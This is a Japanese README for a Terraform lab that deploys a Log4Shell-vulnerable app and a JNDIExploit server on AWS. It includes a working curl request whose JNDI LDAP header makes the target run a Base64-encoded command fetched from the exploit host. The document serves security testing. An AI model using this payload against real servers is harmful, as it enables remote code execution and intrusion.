
脆弱なアプリケーションをデプロイするためのTerraformと、CVE-2021-44228と連携するJDNIExploit
脆弱なアプリとJNDIExploitをCVE-2021-44228と連携させるためのTerraform
このTerraformはAWSクラウドのVPC上に2つのインスタンスを作成します。
AWS_ACCESS_KEY_IDとAWS_SECRET_ACCESS_KEYをエクスポートするだけでOKです。
1つ目のインスタンスはJNDIExploitです。
2つ目はlog4jエクスプロイト用のVulnerable-Appです。
apply前にterraform内のSSH公開鍵を置き換えてください
terraform init
terraform plan
terraform apply --auto-approve
AWSにデプロイ後、curlリクエストでエクスプロイトし、vulnerable-appコンテナの/tmpにファイルが作成されることを確認できます。
curl ${vulnerable-app-IP}:8090 -H 'X-Api-Version: ${jndi:ldap://${JNDIExploit-IP}:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
vulnerable-appサーバーで以下のコマンドを実行してコマンド実行を確認します。pwnedファイルが表示されるはずです。
sudo docker exec -ti vulnerable-app ls /tmp